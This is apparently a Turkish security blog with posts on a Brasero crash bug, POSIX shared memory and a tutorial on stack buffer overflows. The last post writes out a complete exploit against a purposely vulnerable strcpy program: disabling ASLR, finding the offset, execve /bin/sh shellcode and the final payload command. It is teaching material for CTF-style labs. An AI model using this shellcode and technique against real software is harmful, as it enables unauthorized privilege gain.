buffer(null) ? Burası tam olarak yazdırılacak dosyaların listesini ifade etmekte bununla birlikte tanımlanan ifadeyle beraber frame crash ettirebilmek iyice kolay hale geliyor bu sayede sistemi rahat bir şekilde crash edebiliriz. Normal olarak bir tek app'nin crash olması gerekirken gnome arayüzlerde bu crash zaafiyeti aynı zamanda sistemde ki gtk frame ile birlikte tetiklendiğinden oturumda çökme zaafiyeti meydana gelmektedir.


Tam manasıyla hala hali hazırda stabil olmadığı konusunda hem fikiriz :)

GTK Message Box:

  static void
brasero_data_disc_unreadable_uri_cb (BraseroTrackDataCfg *vfs,
                                     const GError *error,
                                     const gchar *uri,
                                     BraseroDataDisc *self)
{
        gchar *name;
        gchar *primary;

        name = brasero_utils_get_uri_name (uri);
        primary = g_strdup_printf (_("\"%s\" cannot be added to the selection."), name);
        brasero_app_alert (brasero_app_get_default (),
                           primary,
                           error->message,
                           GTK_MESSAGE_ERROR);
        g_free (primary);
        g_free (name);
}

Peki yaa argüman bölümünden 3000 A's karakteri girersek ortaya çıkacak sonuç nedir? Yukarıda anlattığımız gibi ortaya çıkacak sonuç tam manasıyla app içinde, system içinde tam bir hüsran yani CRASH. Meydana gelecektir burada koyulabilecek bir karakter sınırı(strlen) ya da desteklenen uzantı kontrolü gibi önlemler message box crash ortadan kaldıracaktır.
Name item:

  brasero_utils_get_uri_name (const gchar *uri)
{
        gchar *utf8_name;
        GFile *vfs_uri;
        gchar *name;

        /* g_path_get_basename is not comfortable with uri related
         * to the root directory so check that before */
        vfs_uri = g_file_new_for_uri (uri);
        name = g_file_get_basename (vfs_uri);
        g_object_unref (vfs_uri);

        /* NOTE and reminder names are already unescaped; the following is not
         * needed: unescaped_name = g_uri_unescape_string (name, NULL); */

        /* NOTE: a graft should be added for non utf8 name since we
         * modify them; in fact we use this function only in the next
         * one which creates only grafted nodes. */
        utf8_name = brasero_utils_validate_utf8 (name);
        if (utf8_name) {
                g_free (name);
                return utf8_name;
        }

        return name;
}
PoC: being hope be is being :( ~

thanks even cheers "netRoot" :)
Found Date: 27/04/2014

Pazar, Haziran 28

C Posix - Shared Memory

Hi all,

i want to write about with "shared memory". Okay, what are we can usage shared memory with C Posix code ? All linux distro have support posix library. Please check below code for "shared memory";

first code, That's code allocates memory. (warn. SHSIZE 100) sha1.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/shm.h>
#include <sys/types.h>
#include <sys/ipc.h>


#define SHSIZE 100

int main(int argc,char *argv[]) {


   int shmid;
   key_t key;
   char *shm;
   char *s;

   key = 9876;

   shmid = shmget(key, SHSIZE, IPC_CREAT | 0666);

          if (shmid < 0){
           perror("shmget");
            exit(1);

}

    shm = shmat(shmid, NULL, 0);

         if (shm == (char *) -1){
           perror(shm);
            exit(1);

}

   memcpy(shm, "Merhaba Dunya", 13);


   s = shm;
   s += 13;

   *s = 0;

   while(*shm != '*')
       sleep(1);

  return 0;

}

Second code, This code will use memory. sha2.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/shm.h>
#include <sys/ipc.h>
#include <sys/types.h>

#define SHSIZE 100

int main(int argc, char *argv[]){


   int shmid;
   key_t key;
   char *shm;
   char *s;

   key = 9876;

   shmid = shmget(key, SHSIZE, 0666);
     if(shmid < 0){
      perror("shmget");
      exit(1);
}

   shm = shmat(shmid, NULL, 0);
    if(shm == (char *) -1) {
     perror("shmat");
     exit(1);
}

  for(s = shm; *s != 0; s++) {
     printf("%c", *s);
}

  printf ("\n");
   *shm = '*';

    return 0;


}

Memory Segment List
ipcs -m
/* This code compiled with slackware */


/*warn. before run first code./*





                                           /* Above the list have blank line our process. */






Perşembe, Mayıs 28

Buffer Overflow Attack - DASLR


Merhabalar, ortalarda sürekli dönen şu BOF muhabbeti ile ilgili bir şeylerde ben karalamak istedim açıkcası arkadaşların paylaştığı şeyler genellikle challenge level olduğu için anlaşılması zor bu yüzden bende bir şeyler karalamak istedim hem daha anlaşılır hemde daha basit olması açısından.

Öncelikle BOF dediğimiz terimin açılımının Buffer Overflow olduğunu ve bu kavramın yazılımlarda ki hatalardan ve belli başlı fonksiyonların yanlış kullanımından meydana geldiğini bilmemiz gerekiyor. Bellekte ayrılan alanın üstüne çıkarak sisteme hata verdirilmesi ve bu yolla beraber izinsiz kod girişi yapılması stack-based buffer overflow ile mümkün kısaca açıklması bu. Türkçe olarak "bellek taşması" ismiyle adlandırdığımız bu açıkları iyi derecede kavramamız gerekiyor bu açıklar haricinde "format string(blind felan var), rop, aslr bypass, heap overflow, integer overflow, canary  vs. diye giden bir silsile var zaman buldukça bunlarıda bu blog üzerinden paylaşacağız.

Buffer Overflow ile neler yapabiliriz ? Evet klasik soru soruldu bof bulunan yazılımlarla full yetkiyi ele alıp yetkisiz erişim sağlayabilirsiniz, bof açıklarına önlem almak için geliştirilmiş aslr, canary, propolice vs. gibi önlemler alınmasına karşın bu yazılımlarında bypass edilerek atlatılabildiğini unutmamak gerek.


Kısaca "C" dilinde strcpy gibi bof açıklarını tetikleyen yahut formatı belirtilmeden print edilen değişkenlerde format string açığını tetikleyen fonksiyonlar sayesinde bu açıklar exploit edilip sistemlerde yetkisizi erişime sahip olunabiliyor. Format string mevzusunun tabi ki konumuzla şimdilik alakası yok biz malum konumuzla devam edelim.

Kısaca bunu örnekleyelim hangi fonksiyonda neyi nasıl tetiklediğini görelim küçük bir C kodu yazalım.


#include <stdio.h>
#include <string.h>
int main(int argc, char** argv){
    char bof[200]; /* bof değişkenine 200 dizelik bir bölüm tanımla */
    strcpy(bof, argv[1]); /* "Açık Bulunan Fonksiyon", source-destination ilişkisi gelen argumentleri bof değişkeninde çevir */
    return 0; /* burası exit olsaydı işlem direkt bitirileceği için açık tetiklenmemiş olacaktı */
}
Kısaca kodumuzun açıklaması comment kısmında belirtilmiş durumda burada ki açık mevzusu strcpy fonksyionundan kaynaklanan bir durum dışardan gelen değeri direkt 200 dizelik bir değişkene basıyor tabi ki fazlası return edildiği için kernel'den "Segmentation Fault" hatası dönüyor birde buna "asm" olarak bakalım.


Dump of assembler code for function main:
   0x0804841c <+0>: push   %ebp
   0x0804841d <+1>: mov    %esp,%ebp
   0x0804841f <+3>: and    $0xfffffff0,%esp
   0x08048422 <+6>: sub    $0xe0,%esp
   0x08048428 <+12>: mov    0xc(%ebp),%eax
   0x0804842b <+15>: add    $0x4,%eax
   0x0804842e <+18>: mov    (%eax),%eax
   0x08048430 <+20>: mov    %eax,0x4(%esp)
   0x08048434 <+24>: lea    0x18(%esp),%eax
   0x08048438 <+28>: mov    %eax,(%esp)
   0x0804843b <+31>: call   0x8048300 <[email protected]> *
   0x08048440 <+36>: mov    $0x0,%eax
   0x08048445 <+41>: leave  
   0x08048446 <+42>: ret    
End of assembler dump.
AT&T sytanx olarak okuyalım source-destination, "0x0804843b" burda gördüğünüz hexdecimal değerimiz x86 mimarisinde bulunan call fonksiyonuyla sahneye çağırılan "strcpy" dir evet taa kendisi. Zaafiyetin bulunduğu fonksiyonu disassemble ederekte görmüş olduk işlemlerimiz GDB üzerinden devam edecek. 

Şimdi derleme işlemini gerçekleştirelim stack-smashing protection altında bulunan sistemlerde bu tekniğin uygulanabilmesi için derleme yaparken stack protection kapatarak derleyeceğiz tabi ki bunun öncesinde birde ASLR disable hale getirmemiz gerekiyor.

echo "0" > /proc/sys/kernel/randomize_va_space

ASLR(Address Space Layout Randomization) bu terime girmiyorum araştırıp ne işe yaradığını öğrenmiş olursunuz bu fonksiyonumuzu devre dışı bıraktıktan sonra elimizde bulunan kodumuzu stack korumasız şekilde derlemeye geldi

gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -o bof bof.c
Varolan kodumuzu stack korumasız şekilde derledikten sonra stack patlatmaya geldi devam edelim.


[email protected]:/si# ./ret `python -c 'print "A"*250'
Segmentation fault
Evet 250 karakteri kafadan salladık kernel'de bir hata aldık bu arada "Segmentation fault" ile ilgilide makaleleri okumanızı ve niçin böyle bir hatayla karşılaşıldığını anlamanızı tavsiye ediyorum ezber şekilde hareket etmemeniz sizin faydanıze kaynaklardan faydalanarak hareket edebilirsiniz ama ezber şekilde hareket ederek gidebileceğiniz yer ancak bu yazının sonu olur, neyse devam.

Şimd burda önümüzde iki adet seçenek var ya blind olarak kasacağız AAAAAABBBBBCCCCDDD olarak bize dönen ascii değerleri okuyarak hareket edeceğiz ya da daha kolay olan ve işlerimizi kolayca halledebileceğiz pentest kasan arkadaşların müdavimi olduğu bir tool kullanacağız biraz tembellik yapıp bu toolu kullanalım istiyorum açıkcası :)

[email protected]:/si# ruby /usr/share/metasploit-framework/tools/pattern_create.rb 250
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A
Evet bu tool ile karakterleri ürettik mantıken baktığımızda bu karakter bize stack'in hangi karakterde patladığını gösterecek yukarıda belirttiğim gibi aslında burada da blind bir stil izliyoruz lakin tool yardımıyla olduğu içinde çokta blind diyemeyeceğim bu tool olmasaydı AAAABBBBCCCCDDDD gibi karakterler üreterek stack'in hangi karaterde patladığını bulmaya çalışacaktık buda bize biraz zaman kaybettirecekti açıkcası neyse tercih meselesi diyoruz ve yolumuza bakıyoruz.

gdb geçiyoruz ve offsetimizi belilemek için ürettiğimiz karakterlerimizi zaafiyet olduğunu bildiğimiz yazılımımıza ekliyoruz bakalım karşımıza ne çıkacak.

(gdb) run `python -c 'print "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A"'`
Starting program: /si/ret `python -c 'print "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A"'`
warning: no loadable sections found in added symbol-file system-supplied DSO at 0xb7fe0000

Program received signal SIGSEGV, Segmentation fault.
0x41386741 in ?? ()
Evet hatamızı aldık "0x41386741" şurda belirtilen değer bizim stack'in nerde patladığını bize söylüyor şimdi offsetimizi belirliyelim.


[email protected]:/si# ruby /usr/share/metasploit-framework/tools/pattern_offset.rb 0x41386741 250
[*] Exact match at offset 204
Oooooo ! 204 sayısını vermiş bize yani 204 offsette stack patlıyor ve biz bundan sonrasında keyfi olarak yetki alabiliyormuşuz öyle diyor devam ediyoruz.


(gdb) disas main
Dump of assembler code for function main:
   0x0804841c <+0>: push   %ebp
   0x0804841d <+1>: mov    %esp,%ebp
   0x0804841f <+3>: sub    $0xd0,%esp
   0x08048425 <+9>: mov    0xc(%ebp),%eax
   0x08048428 <+12>: add    $0x4,%eax
   0x0804842b <+15>: mov    (%eax),%eax
   0x0804842d <+17>: mov    %eax,0x4(%esp)
   0x08048431 <+21>: lea    -0xc8(%ebp),%eax
   0x08048437 <+27>: mov    %eax,(%esp)
   0x0804843a <+30>: call   0x8048300 <[email protected]>
   0x0804843f <+35>: mov    $0x0,%eax
   0x08048444 <+40>: leave  
   0x08048445 <+41>: ret
Hatırladınız evet yukarıda giriştede böyle bir tablo vermiş ve evet açık bu fonksiyonda kaynaklanıyor halbu ki bu fonksyion şöyle kullanılsa yahut satır sonuna şu eklense böyle birşey olmaz felan demiştik tamamdır hatırladınız şimdi o satıra bir adet breakpoint koyup devam ediyoruz. Ama ondan önce anlatmamız gereken bir durum daha var shellcode mevzusu aslında blog'da bu konu hakkında bir yazı yazmaya başlamıştım devamı gelmeden bu yazıyıda yazmayıda düşünmüyordum lakin başlamışken bitsin istedim. Şimdi bize lazım "sh" geçip yetki almak için bir adet shellcode onun içinde hesapladığımızda 204 offset çıkardığına göre, bizim kullanacağımız shellcode'nin byte değerini burdan çıkararak kullanmamız gerekiyor bu vesileyle yaygın olarak kullanılan "Peda Tool" da hem tanıtmış hemde faydalanmış oluruz;

Peda INSTALL adresinden yükleyebilirsiniz ve detaylı kullanımıda mevcut.
Değişik boyutta exec, nc, passwd vs. gibi shellcode için Shell-Storm


gdb-peda$ shellcode generate x86/linux exec
# x86/linux/exec: 24 bytes
shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)
Peda'dan bize exec shellcode üretmesini istedik ve 24 byte boyutunda bir shellcode verdi o zaman şöyle diyoruz.

204 - 24 = 180 

Bu elde ettiğimiz 180 No Opcodes olacak yani buralar "\x90" ascii karakterine bürünerek boşluk olarak devam ederek bize açık olan fonksiyon üzerinden /bin/sh çağırarak yetki yükseltecek genellikle ctflerde de böyledir basit bir mevzu adımları bilmek yeterli. Devam edelim.


(gdb) b *0x0804843a
Yukarıda ki tabloda gördüğümüz fonksiyonun adresine bir adet breakpoint koyduktan sonra bu fonksiyon üzerinden shellcode mizi çalıştıralım tabi ki dediğimiz şekilde;


(gdb) run `python -c 'print "\x90" * 180 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"'`
Evet burada ne yaptık sorusunu duyar gibiyim isterseniz açıklayalım öncelikle demin ki hesabımızda yer ayırdığımız shellcode'den önce bahsettiğimiz gibi null karakterleri yerleştirdik devamında ise 24 Byte değerinde shellcode yerleştirerek 204 offset tamamladık.



The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /si/ret `python -c 'print "\x90" * 204 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"'`

Breakpoint 1, 0x0804843a in main (argc=2, argv=0xbffff4d4) at ret.c:5
5     strcpy(bof, argv[1]); 
Yukarıda ki kodu çalıştırdığımızda karşımıza bunun gibi açıklamalar silsilesi çıkacak bu açıklamalar silsilesi bize breakpoint koyduğumuz fonksiyonun eklediğimiz kod silsilesiyle çalışacağını söylüyor ortada hala bir sh mevzusu yok olmaması doğal "ESP" bir göz atıyoruz bu değerleri kabul eden adresi bulup ona bunu yazdırmadığımız sürece bize rahat yok.

(gdb) x/200s $esp

Yukarıda ki komutla beraber gdb bize stack pointer'a giren en son 200 değeri string olarak yazdırmasını istedik bu komutun x var b var w var varoğlu var gdb detaylı olarak araştırıp görebilirsiniz diyor ve devam ediyoruz.

0xbffff36f:  ""
0xbffff370:  "X\333\375\267`\330\375\267T\202\004\bT\220\346\267\004\202\004\b\001"
0xbffff386:  ""
0xbffff387:  ""
0xbffff388:  "\364\357\377\267\200\364\377\277\300\372\377\267T\364\377\277b\266\376\267D\364\377\277\004\202\004\b8\364\377\277d\372\377\267"
0xbffff3ad:  ""
0xbffff3ae:  ""
0xbffff3af:  ""
0xbffff3b0:  "X\333\375\267\001"
---Type <return> to continue, or q <return> to quit---
0xbffff3b6:  ""
0xbffff3b7:  ""
0xbffff3b8:  ""
0xbffff3b9:  ""
0xbffff3ba:  ""
0xbffff3bb:  ""
0xbffff3bc:  "\001"
.................................
Karşımıza yukarıda ki gibi adresler ve değerler çıkıyor girdiğimiz değerlerin nerde olduğunu görmeye çalışalım hangi değerde döndüğünü bir deneyelim. Biraz daha aşağılara inince karşımıza şu şekilde bir değer topluluğu çıkıyor.

0xbffff4e0:  "\022\367\377\277&\367\377\277Y\367\377\277d\367\377\277t\367\377\277\304\367\377\277\326\367\377\277\b\370\377\277\022\370\377\277\063\375\377\277a\375\377\277\273\375\377\277\311\375\377\277\324\375\377\277\354\375\377\277.\376\377\277=\376\377\277E\376\377\277V\376\377\277n\376\377\277\203\376\377\277\214\376\377\277\237\376\377\277\252\376\377\277\262\376\377\277\336\376\377\277\353\376\377\277M\377\377\277\212\377\377\277\227\377\377\277\244\377\377\277\275\377\377\277"
Bakalım aradığımız yer burası mı bir görelim düzenlememizi yaptık karşımıza çıkan değer şu şekilde;

"\xe0\xf4\xff\xbf"  yani Little Endian mimarisi sağdan sola doğru değerleri okuyacağız shellcode yazısında da bundan bahsetmiştim deneyelim ve görelim;


./ret `python -c 'print "\x90" * 180 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80" + "\xe0\xf4\xff\xbf"'`
Segmentation fault











Evet bir şeyler ters gitti tahmin ettiğimiz değer üzerinden shellcode çalıştıramıyoruz denemelere devam stack biraz daha büyütelim değerleri inceleyelim;

Bu sefer baştan sona değin Stack'de son 300 girişi inceleyelim isterseniz

(gdb) x/300s $esp

Evet bir çok değer yine karşımıza çıktı aşağılara doğru indiğimizde şöyle bir ekran görüyoruz;


    0xbffff636:  ""
    0xbffff637:  ""
    0xbffff638:  ""
    0xbffff639:  ""
    0xbffff63a:  ""
    0xbffff63b:  ""
    0xbffff63c:  "/si/ret"
    0xbffff644:  "\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\061\300Ph//shh/bin\211\343\061ɉ\312j"...
    0xbffff70c:  "\vX̀\340\364\377\277"
Yani burda "0xbffff644" hexdecimali ile bir kez daha çağırmaya çalışalım isterseniz.

"\x44\xf6\xff\xbf"

[email protected]:/si# ./ret `python -c 'print "\x90" * 180 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80" + "\x44\xf6\xff\xbf"'`


Evet sanırım işe yaradı artık bash almış bulunuyoruz. Son olarak genelde CTF ilk bof soruları bu şekilde gelir devamı format string rop vs diye gider kavramanız ve anlamanız dileğiyle, elimden geldiği kadar basit ve kolay bir dille anlatmaya çalıştım. Soruları yazının altında sorabilirsiniz.

Hoşçakalın. S.K



Powered by Blogger.